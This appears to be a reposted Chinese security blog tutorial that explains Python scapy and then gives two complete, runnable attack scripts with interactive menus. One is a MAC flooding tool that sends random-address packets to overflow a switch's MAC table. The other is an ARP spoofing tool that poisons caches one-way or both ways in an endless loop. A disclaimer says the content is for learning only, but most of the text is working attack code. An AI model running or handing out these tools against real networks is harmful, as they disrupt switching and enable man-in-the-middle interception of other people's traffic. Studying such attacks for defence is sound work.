声明:本文章的一切内容仅用于交流与学习
一、Python scapy
scapy提供了构造、发送、接收、分析数据包的功能
scapy的内容很多这里只说明要用到的内容
RandMAC:自动生成一个随机的MAC地址
packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)
Ether是指定MAC地址用的,IP是第三层指定IP
sendp 发送二层报文
send 发送三层报文
基本上这些就够用了
二、MAC泛洪
很早很早之前写过用macof工具来实现MAC泛洪,现在要自己写一个!
MAC泛洪原理前面也写过,如果不清楚可以去看——》传送门
MAC泛洪的实质其实就是发送一堆随机的MAC地址,从而占满交换机的MAC地址表,但是发IPV4的报文还是需要指定IP的
所以第一步就是构造一组假的源目IP 源目MAC地址
构造MAC地址非常容易只需要使用RandMAC就可以生成
构造IP,需要写一个小函数
def randIP():
ip=""
for i in range(3):
ip=ip+str(random.randint(0,255))+"."
ip=ip+str(random.randint(0,255))
return ip
分析一下,其实就是先循环三遍每一遍向字符串中添加一个0-255的数和一个点,如192.
最后再加一个数,构成一个完整的ip格式
有了这两个函数以后,就可以构造数据包了
MAC1=RandMAC("*:*:*:*:*:*")
MAC2 = RandMAC("*:*:*:*:*:*")
IP1=randIP()
IP2=randIP()
packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)
源目MAC地址 源目IP 默认为IPV4报文
接下来就是发送,因为scapy发送有一个小瑕疵,就是每次都输出一个发送成功,影响美观,于是做点小改动
oldPrint = sys.stdout
sys.stdout = open('trash.txt', 'w')
sendp(packet, iface=iface, loop=0)
sys.stdout = oldPrint
print(f"{MAC1}---------->{MAC2} /IP {IP1}---------->{IP2}")
这样就可以自定义输出格式了
到这里MAC泛洪的一个数据包就构造发送好啦,剩下的就是循环了
这里说一下sendp 有一个参数iface是用来指定网卡的,可以加进去,动态选择网卡
把上面的内容封装了一下,输入处理了一下
完整代码
from scapy.all import *
from scapy.layers.inet import *
import random
def randIP():
ip=""
for i in range(3):
ip=ip+str(random.randint(0,255))+"."
ip=ip+str(random.randint(0,255))
return ip
iface='eth0'
def gj():
MAC1=RandMAC("*:*:*:*:*:*")
MAC2 = RandMAC("*:*:*:*:*:*")
IP1=randIP()
IP2=randIP()
packet = Ether(src=MAC1, dst=MAC2) / IP(src=IP1, dst=IP2)
oldPrint = sys.stdout
sys.stdout = open('trash.txt', 'w')
sendp(packet, iface=iface, loop=0)
sys.stdout = oldPrint
print(f"{MAC1}---------->{MAC2} /IP {IP1}---------->{IP2}")
def ts():
global iface
a=int(input(f"当前网卡为{iface},【1】更改网卡,【2】发起攻击,【3】指定攻击次数,【0】退出\n"))
if a==1:
iface=input("请输入网卡名\n")
ts()
return
elif a==2:
while True:
gj()
elif a==3:
b=int(input("输入攻击次数\n"))
print("攻击开始....")
for i in range(b):
gj()
elif a==0:
return
print("*" * 25 + "MAC泛洪攻击" + "*" * 25)
ts()
运行效果
三、ARP欺骗
arp欺骗原理——》传送门
arp欺骗其实更简单,明白原理代码反而好写
完整代码,相信各位大佬都能看懂,看不懂直接留言或私信都可
from scapy.all import *
from scapy.layers.inet import *
from scapy.layers.l2 import ARP
import time
def get_mac_address():
import uuid
node = uuid.getnode()
mac = uuid.UUID(int = node).hex[-12:]
MAC = ":".join([mac[e:e + 2] for e in range(0, 11, 2)])
return MAC
print(get_mac_address())
def dx(IP1,IP2):
a=get_mac_address()
pkt=ARP(psrc=IP1,hwsrc=a,pdst=IP2,op=2)
oldPrint = sys.stdout
sys.stdout = open('trash.txt', 'w')
send(pkt)
sys.stdout = oldPrint
print(f"{a} : 告诉{IP2},{IP1} 的MAC地址是{a}")
def fx(IP1,IP2):
a = get_mac_address()
pkt = ARP(psrc=IP2, hwsrc=a, pdst=IP1, op=2)
oldPrint = sys.stdout
sys.stdout = open('trash.txt', 'w')
send(pkt,iface="eth0")
sys.stdout = oldPrint
print(f"{a} : 告诉{IP1},{IP2} 的MAC地址是{a}")
print("*"*25+"ARP欺骗"+"*"*25)
a=int(input("【1】单向欺骗【2】双向欺骗【0】退出\n"))
if a==1:
IP1=input("请输入要攻击的主机IP\n")
IP2 = input("请输被欺骗的主机IP/网关\n")
while True:
dx(IP1,IP2)
time.sleep(1)
elif a==2:
IP1 = input("请输入IP1\n")
IP2 = input("请输入IP2\n")
while True:
dx(IP1,IP2)
fx(IP1,IP2)
time.sleep(1)
else:
exit(0)
运行效果
因为是单向欺骗,所以PC1 ping PC2 可以通, PC2 ping PC1 通不了
接下来就是双向欺骗
都不通啦
版权归原作者 白帽Chen_D 所有, 如有侵权,请联系我们删除。